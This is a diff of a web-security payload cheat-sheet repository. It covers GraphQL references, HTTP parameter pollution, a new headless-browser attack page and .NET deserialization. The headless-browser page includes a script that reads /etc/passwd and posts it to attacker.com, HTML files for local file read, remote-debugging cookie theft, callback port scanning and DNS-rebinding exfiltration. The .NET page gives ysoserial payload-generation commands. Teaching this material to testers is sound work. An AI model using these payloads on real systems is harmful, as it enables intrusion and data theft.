- [PortSwigger - Performing CSRF exploits over GraphQL](https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api)
- [Root Me - GraphQL - Introspection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Introspection)
- [Root Me - GraphQL - Injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Injection)
- [Root Me - GraphQL - Backend injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Backend-injection)
- [Root Me - GraphQL - Mutation](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Mutation)
## References ## References
* [Introduction to GraphQL](https://graphql.org/learn/) - [Building a free open source GraphQL wordlist for penetration testing - Nohé Hinniger-Foray - August 17, 2023](https://web.archive.org/web/20230919211552/https://escape.tech/blog/graphql-security-wordlist/)
* [GraphQL Introspection](https://graphql.org/learn/introspection/) - [Exploiting GraphQL - AssetNote - Shubham Shah - August 29, 2021](https://web.archive.org/web/20210830161635/https://blog.assetnote.io/2021/08/29/exploiting-graphql/)
* [API Hacking GraphQL - @ghostlulz - jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2) - [GraphQL Batching Attack - Wallarm - December 13, 2019](https://web.archive.org/web/20260223043402/https://lab.wallarm.com/graphql-batching-attack/)
* [GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify](https://labs.detectify.com/2018/03/14/graphql-abuse/) - [GraphQL for Pentesters presentation - Alexandre ZANNI (@noraj) - December 1, 2022](https://web.archive.org/web/20230205233412/https://acceis.github.io/prez-graphql/)
* [Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e) - [API Hacking GraphQL - @ghostlulz - Jun 8, 2019](https://web.archive.org/web/20190619040847/https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
* [Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber](https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b) - [Discovering GraphQL endpoints and SQLi vulnerabilities - Matías Choren - Sep 23, 2018](https://web.archive.org/web/20180923085151/https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
* [GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/) - [GraphQL abuse: Bypass account level permissions through parameter smuggling - Jon Bottarini - March 14, 2018](https://web.archive.org/web/20231027032512/https://labs.detectify.com/2018/03/14/graphql-abuse/)
* [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert](https://hackerone.com/reports/435066) - [Graphql Bug to Steal Anyone's Address - Pratik Yadav - Sept 1, 2019](https://web.archive.org/web/20250514221822/https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
* [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/) - [GraphQL cheatsheet - devhints.io - November 7, 2018](https://web.archive.org/web/20181107093033/https://devhints.io/graphql)
* [How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/) - [GraphQL Introspection - GraphQL - August 21, 2024](https://web.archive.org/web/20260302160506/https://graphql.org/learn/introspection/)
* [GraphQL cheatsheet - DEVHINTS.IO](https://devhints.io/graphql) - [GraphQL NoSQL Injection Through JSON Types - Pete Corey - June 12, 2017](https://web.archive.org/web/20250514221852/https://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
* [HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/) - [HIP19 Writeup - Meet Your Doctor 1,2,3 - Swissky - June 22, 2019](https://web.archive.org/web/20190825033521/https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
* [Introspection query leaks sensitive graphql system information - @Zuriel](https://hackerone.com/reports/291531) - [How to set up a GraphQL Server using Node.js, Express & MongoDB - Leonardo Maldonado - 5 November 2018](https://web.archive.org/web/20190718023950/https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
* [Graphql Bug to Steal Anyones Address - Sept 1, 2019 - Pratik Yadav](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417) - [Introduction to GraphQL - GraphQL - November 1, 2024](https://web.archive.org/web/20160917011216/http://graphql.org:80/learn)
* [GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019](https://lab.wallarm.com/graphql-batching-attack/) - [Introspection query leaks sensitive graphql system information - @Zuriel - November 18, 2017](https://web.archive.org/web/20250710175416/https://hackerone.com/reports/291531)
* [GraphQL for Pentesters presentation by ACCEIS - 01/12/2022](https://acceis.github.io/prez-graphql/) - [source](https://github.com/Acceis/prez-graphql) - [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r - 8 June 2017](https://web.archive.org/web/20170608142208/https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
* [Exploiting GraphQL - Aug 29, 2021 - AssetNote - Shubham Shah](https://blog.assetnote.io/2021/08/29/exploiting-graphql/) - [Securing Your GraphQL API from Malicious Queries - Max Stoiber - Feb 21, 2018](https://web.archive.org/web/20180731231915/https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
* [Building a free open source GraphQL wordlist for penetration testing - Nohé Hinniger-Foray - Aug 17, 2023](https://escape.tech/blog/graphql-security-wordlist/) - [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Jobert Abma (jobert) - Nov 6th 2018](https://web.archive.org/web/20181203004543/https://hackerone.com/reports/435066)

View File

@@ -1,58 +1,100 @@
# HTTP Parameter Pollution # HTTP Parameter Pollution
> HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value&param1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurrence, some taking the last occurrence, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms. > HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value&param1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurrence, some taking the last occurrence, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [How to test](#how-to-test) * [Methodology](#methodology)
* [Table of reference](#table-of-reference) * [Parameter Pollution Table](#parameter-pollution-table)
* [Parameter Pollution Payloads](#parameter-pollution-payloads)
* [References](#references) * [References](#references)
## Tools ## Tools
No tools needed. Maybe Burp or OWASP ZAP. * **Burp Suite**: Manually modify requests to test duplicate parameters.
* **OWASP ZAP**: Intercept and manipulate HTTP parameters.
## How to test ## Methodology
HPP allows an attacker to bypass pattern based/black list proxies or Web Application Firewall detection mechanisms. This can be done with or without the knowledge of the web technology behind the proxy, and can be achieved through simple trial and error. HTTP Parameter Pollution (HPP) is a web security vulnerability where an attacker injects multiple instances of the same HTTP parameter into a request. The server's behavior when processing duplicate parameters can vary, potentially leading to unexpected or exploitable behavior.
``` HPP can target two levels:
Example scenario.
WAF - Reads first param
Origin Service - Reads second param. In this scenario, developer trusted WAF and did not implement sanity checks.
Attacker -- http://example.com?search=Beth&search=' OR 1=1;## --> WAF (reads first 'search' param, looks innocent. passes on) --> Origin Service (reads second 'search' param, injection happens if no checks are done here.) * Client-Side HPP: Exploits JavaScript code running on the client (browser).
* Server-Side HPP: Exploits how the server processes multiple parameters with the same name.
**Examples**:
```ps1
/app?debug=false&debug=true
/transfer?amount=1&amount=5000
``` ```
### Table of reference ### Parameter Pollution Table
When ?par1=a&par1=b When ?par1=a&par1=b
| Technology | Parsing Result |outcome (par1=)| | Technology | Parsing Result | outcome (par1=) |
| ------------------ |--------------- |:-------------:| | ----------------------------------------------- | ------------------------ | --------------- |
| ASP.NET/IIS |All occurrences |a,b | | ASP.NET/IIS | All occurrences | a,b |
| ASP/IIS |All occurrences |a,b | | ASP/IIS | All occurrences | a,b |
| PHP/Apache |Last occurrence |b | | Golang net/http - `r.URL.Query().Get("param")` | First occurrence | a |
| PHP/Zues |Last occurrence |b | | Golang net/http - `r.URL.Query()["param"]` | All occurrences in array | ['a','b'] |
| JSP,Servlet/Tomcat |First occurrence |a | | IBM HTTP Server | First occurrence | a |
| Perl CGI/Apache |First occurrence |a | | IBM Lotus Domino | First occurrence | a |
| Python Flask |First occurrence |a | | JSP,Servlet/Tomcat | First occurrence | a |
| Python Django |Last occurrence |b | | mod_wsgi (Python)/Apache | First occurrence | a |
| Nodejs |All occurrences |a,b | | Nodejs | All occurrences | a,b |
| Golang net/http - `r.URL.Query().Get("param")` |First occurrence |a | | Perl CGI/Apache | First occurrence | a |
| Golang net/http - `r.URL.Query()["param"]` |All occurrences in array |['a','b'] | | Perl CGI/Apache | First occurrence | a |
| IBM Lotus Domino |First occurrence |a | | PHP/Apache | Last occurrence | b |
| IBM HTTP Server |First occurrence |a | | PHP/Zues | Last occurrence | b |
| Perl CGI/Apache |First occurrence |a | | Python Django | Last occurrence | b |
| mod_wsgi (Python)/Apache |First occurrence |a | | Python Flask | First occurrence | a |
| Python/Zope |All occurrences in array |['a','b'] | | Python/Zope | All occurrences in array | ['a','b'] |
| Ruby on Rails |Last occurrence |b | | Ruby on Rails | Last occurrence | b |
### Parameter Pollution Payloads
* Duplicate Parameters:
```ps1
param=value1&param=value2
```
* Array Injection:
```ps1
param[]=value1
param[]=value1&param[]=value2
param[]=value1&param=value2
param=value1&param[]=value2
```
* Encoded Injection:
```ps1
param=value1%26other=value2
```
* Nested Injection:
```ps1
param[key1]=value1&param[key2]=value2
```
* JSON Injection:
```ps1
{
"test": "user",
"test": "admin"
}
```
## References ## References
- [HTTP Parameter Pollution - Imperva](https://www.imperva.com/learn/application-security/http-parameter-pollution/) * [How to Detect HTTP Parameter Pollution Attacks - Acunetix - January 9, 2024](https://web.archive.org/web/20260112091623/https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
- [HTTP Parameter Pollution in 11 minutes | Web Hacking - PwnFunction](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction) * [HTTP Parameter Pollution - Itamar Verta - December 20, 2023](https://web.archive.org/web/20190721110154/https://www.imperva.com/learn/application-security/http-parameter-pollution/)
- [How to Detect HTTP Parameter Pollution Attacks - Acunetix](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/) * [HTTP Parameter Pollution in 11 minutes - PwnFunction - January 28, 2019](https://web.archive.org/web/20190212095035/https://www.youtube.com/watch?v=QVZBl8yxVX0)

192
Headless Browser/README.md Normal file
View File

@@ -0,0 +1,192 @@
# Headless Browser
> A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals.
> Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.
## Summary
* [Headless Commands](#headless-commands)
* [Local File Read](#local-file-read)
* [Remote Debugging Port](#remote-debugging-port)
* [Network](#network)
* [Port Scanning](#port-scanning)
* [DNS Rebinding](#dns-rebinding)
* [CVE](#cve)
* [References](#references)
## Headless Commands
Example of headless browsers commands:
* Google Chrome
```ps1
google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
```
* Mozilla Firefox
```ps1
firefox --screenshot https://www.google.com
```
* Microsoft Edge
```ps1
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
```
## Local File Read
### Insecure Flags
If the target is launched with the `--allow-file-access` option
```ps1
google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir
```
Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the `/etc/passwd` file.
```js
<script>
async function getFlag(){
response = await fetch("file:///etc/passwd");
flag = await response.text();
fetch("https://attacker.com/", { method: "POST", body: flag})
};
getFlag();
</script>
```
### PDF Rendering
Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.
Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html`
* Javascript Redirect
```html
<html>
<body>
<script>
window.location="/etc/passwd"
</script>
</body>
</html>
```
* Iframe
```html
<html>
<body>
<iframe src="/etc/passwd" height="640" width="640"></iframe>
</body>
</html>
```
## Remote Debugging Port
The Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browsers DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port **9222** but it can be changed with `--remote-debugging-port=`.
**Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html`
**Tools**:
* [slyd0g/WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) - Interact with Chromium-based browsers' debug port to view open tabs, installed extensions, and cookies
* [slyd0g/ripWCMN.py](https://gist.githubusercontent.com/slyd0g/955e7dde432252958e4ecd947b8a7106/raw/d96c939adc66a85fa9464cec4150543eee551356/ripWCMN.py) - WCMN alternative using Python to fix the websocket connection with an empty `origin` Header.
> [!NOTE]
> Since Chrome update from December 20, 2022, you must start the browser with the argument `--remote-allow-origins="*"` to connect to the websocket with WhiteChocolateMacademiaNut.
**Exploits**:
* Connect and interact with the browser: `chrome://inspect/#devices`, `opera://inspect/#devices`
* Kill the currently running browser and use the `--restore-last-session` to get access to the user's tabs
* Data stored in the settings (username, passwords, token): `chrome://settings`
* Port Scan: In a loop open `http://localhost:<port>/json/new?http://callback.example.com?port=<port>`
* Leak UUID: Iframe: `http://127.0.0.1:<port>/json/version`
```json
{
"Browser": "Chrome/136.0.7103.113",
"Protocol-Version": "1.3",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36",
"V8-Version": "13.6.233.10",
"WebKit-Version": "537.36 (@76fa3c1782406c63308c70b54f228fd39c7aaa71)",
"webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/browser/d815e18d-57e6-4274-a307-98649a9e6b87"
}
```
* Local File Read: [pich4ya/chrome_remote_debug_lfi.py](https://gist.github.com/pich4ya/5e7d3d172bb4c03360112fd270045e05)
* Node inspector `--inspect` works like a `--remote-debugging-port`
```ps1
node --inspect app.js # default port 9229
node --inspect=4444 app.js # custom port 4444
node --inspect=0.0.0.0:4444 app.js
```
Starting from Chrome 136, the switches `--remote-debugging-port` and `--remote-debugging-pipe` won't be respected if attempting to debug the default Chrome data directory. These switches must now be accompanied by the `--user-data-dir` switch to point to a non-standard directory.
The flag `--user-data-dir=/path/to/data_dir` is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, youll notice that none of your bookmarks, favorites, or history will be loaded into the browser.
## Network
### Port Scanning
Port Scanning: Timing attack
* Dynamically insert an `<img>` tag pointing to a hypothetical closed port. Measure time to onerror.
* Repeat at least 10 times → average time to get an error for a closed port
* Test random port 10 times and measure time to error
* If `time_to_error(random_port) > time_to_error(closed_port)*1.3` → port is opened
**Consideration**:
* Chrome blocks by default a list of "known ports"
* Chrome blocks access to local network addresses except localhost through 0.0.0.0
### DNS Rebinding
* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
1. Chrome will make 2 DNS requests: `A` and `AAAA` records
* `AAAA` response with valid Internet IP
* `A` response with internal IP
2. Chrome will connect in priority to the IPv6 (evil.net)
3. Close IPv6 listener just after first response
4. Open Iframe to evil.net
5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
6. From top window, inject script into iframe to exfiltrate content
## CVE
Exploiting a headless browser using a known vulnerability (CVE) involves several steps, from vulnerability research to payload execution. Below is a structured breakdown of the process:
Identify the headless browser with the User-Agent, then choose an exploit targeting the browser's component: V8 engine, Blink renderer, Webkit, etc.
* Chrome CVE: [2024-9122 - WASM type confusion due to imported tag signature subtyping](https://issues.chromium.org/issues/365802567), [CVE-2025-5419 - Out of bounds read and write in V8](https://nvd.nist.gov/vuln/detail/CVE-2025-5419)
* Firefox : [CVE-2024-9680 - Use after free](https://nvd.nist.gov/vuln/detail/CVE-2024-9680)
The `--no-sandbox` option disables the sandbox feature of the renderer process.
```js
const browser = await puppeteer.launch({
args: ['--no-sandbox']
});
```
## References
* [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://web.archive.org/web/20210119151816/https://incolumitas.com/2021/01/10/browser-based-port-scanning/)
* [Changes to remote debugging switches to improve security - Will Harris - March 17, 2025](https://web.archive.org/web/20250328233439/https://developer.chrome.com/blog/remote-debugging-port)
* [Chrome DevTools Protocol - Documentation - July 3, 2017](https://web.archive.org/web/20170703201537/https://chromedevtools.github.io/devtools-protocol/)
* [Cookies with Chromiums Remote Debugger Port - Justin Bui - December 17, 2020](https://web.archive.org/web/20201217170910/https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)
* [Debugging Cookie Dumping Failures with Chromiums Remote Debugger - Justin Bui - July 16, 2023](https://web.archive.org/web/20250911211108/https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)
* [Node inspector/CEF debug abuse - HackTricks - July 18, 2024](https://web.archive.org/web/20241230021023/https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse)
* [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - April 28, 2020](https://web.archive.org/web/20260215064320/https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
* [Too Lazy to get XSS? Then use n-days to get RCE in the Admin bot - Jopraveen - March 2, 2025](https://web.archive.org/web/20250303031943/https://jopraveen.github.io/web-hackthebot/)
* [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://web.archive.org/web/20231206141057/https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari)

View File

@@ -0,0 +1,5 @@
<html>
<body>
<iframe src="/etc/passwd" height="640" width="640"></iframe>
</body>
</html>

View File

@@ -0,0 +1,7 @@
<html>
<body>
<script>
window.location="/etc/passwd"
</script>
</body>
</html>

View File

@@ -5,12 +5,11 @@
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Exploit](#exploit) * [Methodology](#methodology)
* [Bruteforce parameters](#bruteforce-parameters) * [Bruteforce Parameters](#bruteforce-parameters)
* [Old parameters](#old-parameters) * [Old Parameters](#old-parameters)
* [References](#references) * [References](#references)
## Tools ## Tools
* [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) - Burp extension to identify hidden, unlinked parameters. * [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) - Burp extension to identify hidden, unlinked parameters.
@@ -19,33 +18,33 @@
* [tomnomnom/waybackurls](https://github.com/tomnomnom/waybackurls) - Fetch all the URLs that the Wayback Machine knows about for a domain * [tomnomnom/waybackurls](https://github.com/tomnomnom/waybackurls) - Fetch all the URLs that the Wayback Machine knows about for a domain
* [devanshbatham/ParamSpider](https://github.com/devanshbatham/ParamSpider) - Mining URLs from dark corners of Web Archives for bug hunting/fuzzing/further probing * [devanshbatham/ParamSpider](https://github.com/devanshbatham/ParamSpider) - Mining URLs from dark corners of Web Archives for bug hunting/fuzzing/further probing
## Methodology
## Exploit ### Bruteforce Parameters
### Bruteforce parameters * Use wordlists of common parameters and send them, look for unexpected behavior from the backend.
* Use wordlists of common parameters and send them, look for unexpected behavior from the backend.
```ps1 ```ps1
x8 -u "https://example.com/" -w <wordlist> x8 -u "https://example.com/" -w <wordlist>
x8 -u "https://example.com/" -X POST -w <wordlist> x8 -u "https://example.com/" -X POST -w <wordlist>
``` ```
Wordlist examples: Wordlist examples:
- [Arjun/large.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/large.txt)
- [Arjun/medium.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/medium.txt)
- [Arjun/small.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/small.txt)
- [samlists/sam-cc-parameters-lowercase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-lowercase-all.txt)
- [samlists/sam-cc-parameters-mixedcase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-mixedcase-all.txt)
### Old parameters * [Arjun/large.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/large.txt)
* [Arjun/medium.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/medium.txt)
* [Arjun/small.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/small.txt)
* [samlists/sam-cc-parameters-lowercase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-lowercase-all.txt)
* [samlists/sam-cc-parameters-mixedcase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-mixedcase-all.txt)
### Old Parameters
Explore all the URL from your targets to find old parameters. Explore all the URL from your targets to find old parameters.
* Browse the [Wayback Machine](http://web.archive.org/) * Browse the [Wayback Machine](http://web.archive.org/)
* Look through the JS files to discover unused parameters * Look through the JS files to discover unused parameters
## References ## References
* [Hacker tools: Arjun The parameter discovery tool - 17TH MAY 2021 - Intigriti](https://blog.intigriti.com/2021/05/17/hacker-tools-arjun-the-parameter-discovery-tool/) * [Hacker tools: Arjun The parameter discovery tool - Intigriti - May 17, 2021](https://web.archive.org/web/20230930093635/https://blog.intigriti.com/2021/05/17/hacker-tools-arjun-the-parameter-discovery-tool/)
* [Parameter Discovery: A quick guide to start - 20/04/2022 - YesWeHack](https://blog.yeswehack.com/yeswerhackers/parameter-discovery-quick-guide-to-start/) * [Parameter Discovery: A quick guide to start - YesWeHack - April 20, 2022](http://web.archive.org/web/20220420123306/https://blog.yeswehack.com/yeswerhackers/parameter-discovery-quick-guide-to-start)

View File

@@ -1,4 +1,6 @@
# .NET Serialization # .NET Deserialization
> .NET serialization is the process of converting an objects state into a format that can be easily stored or transmitted, such as XML, JSON, or binary. This serialized data can then be saved to a file, sent over a network, or stored in a database. Later, it can be deserialized to reconstruct the original object with its data intact. Serialization is widely used in .NET for tasks like caching, data transfer between applications, and session state management.
## Summary ## Summary
@@ -14,28 +16,39 @@
* [POP Gadgets](#pop-gadgets) * [POP Gadgets](#pop-gadgets)
* [References](#references) * [References](#references)
## Detection ## Detection
* `AAEAAD` (Hex) = .NET deserialization BinaryFormatter | Data | Description |
* `FF01` (Hex) / `/w` (Base64) = .NET ViewState | -------------- | ------------------- |
| `AAEAAD` (Hex) | .NET BinaryFormatter |
| `FF01` (Hex) | .NET ViewState |
| `/w` (Base64) | .NET ViewState |
Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=` Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`
## Tools ## Tools
* [pwntester/ysoserial.net - Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net) * [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net) - Deserialization payload generator for a variety of .NET formatters
```ps1
$ cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s ```ps1
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
``` ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```
* [irsdl/ysonet](https://github.com/irsdl/ysonet) - Deserialization payload generator for a variety of .NET formatters
```ps1
cat my_long_cmd.txt | ysonet.exe -o raw -g WindowsIdentity -f Json.Net -s
./ysonet.exe -p DotNetNuke -m read_file -f win.ini
./ysonet.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
./ysonet.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```
## Formatters ## Formatters
![NETNativeFormatters.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/Insecure%20Deserialization/Images/NETNativeFormatters.png?raw=true) ![NETNativeFormatters.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/Insecure%20Deserialization/Images/NETNativeFormatters.png?raw=true)
.NET Native Formatters from [pwntester/attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15) .NET Native Formatters from [pwntester/attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15)
### XmlSerializer ### XmlSerializer
@@ -63,7 +76,6 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
</root> </root>
``` ```
### DataContractSerializer ### DataContractSerializer
> The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute. > The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.
@@ -72,8 +84,7 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
* Payload output: **XML** * Payload output: **XML**
* Data **Type** must be user-controlled to be exploitable * Data **Type** must be user-controlled to be exploitable
### NetDataContractSerializer
### NetDataContractSerializer
> It extends the `System.Runtime.Serialization.XmlObjectSerializer` class and is capable of serializing any type annotated with serializable attribute as `BinaryFormatter`. > It extends the `System.Runtime.Serialization.XmlObjectSerializer` class and is capable of serializing any type annotated with serializable attribute as `BinaryFormatter`.
@@ -92,7 +103,6 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
.\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t .\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
``` ```
### JSON.NET ### JSON.NET
* In C# source code, look for `JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings`. * In C# source code, look for `JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings`.
@@ -119,33 +129,35 @@ $ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
* Exploitation requires `[Serializable]` or `ISerializable` interface. * Exploitation requires `[Serializable]` or `ISerializable` interface.
* Payload output: **Binary** * Payload output: **Binary**
```ps1 ```ps1
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
``` ```
## POP Gadgets ## POP Gadgets
These gadgets must have the following properties: These gadgets must have the following properties:
* Serializable * Serializable
* Public/settable variables * Public/settable variables
* Magic "functions": Get/Set, OnSerialisation, Constructors/Destructors * Magic "functions": Get/Set, OnSerialisation, Constructors/Destructors
You must carefully select your **gadgets** for a targeted **formatter**. You must carefully select your **gadgets** for a targeted **formatter**.
List of popular gadgets used in common payloads. List of popular gadgets used in common payloads.
* **ObjectDataProvider** from `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll` * **ObjectDataProvider** from `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll`
* Use `MethodParameters` to set arbitrary parameters * Use `MethodParameters` to set arbitrary parameters
* Use `MethodName` to call an arbitrary function * Use `MethodName` to call an arbitrary function
* **ExpandedWrapper** * **ExpandedWrapper**
* Specify the `object types` of the objects that are encapsulated * Specify the `object types` of the objects that are encapsulated
```cs ```cs
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>(); ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
``` ```
* **System.Configuration.Install.AssemblyInstaller** * **System.Configuration.Install.AssemblyInstaller**
* Execute payload with Assembly.Load * Execute payload with Assembly.Load
```cs ```cs
// System.Configuration.Install.AssemblyInstaller // System.Configuration.Install.AssemblyInstaller
public void set_Path(string value){ public void set_Path(string value){
@@ -156,19 +168,18 @@ List of popular gadgets used in common payloads.
} }
``` ```
## References ## References
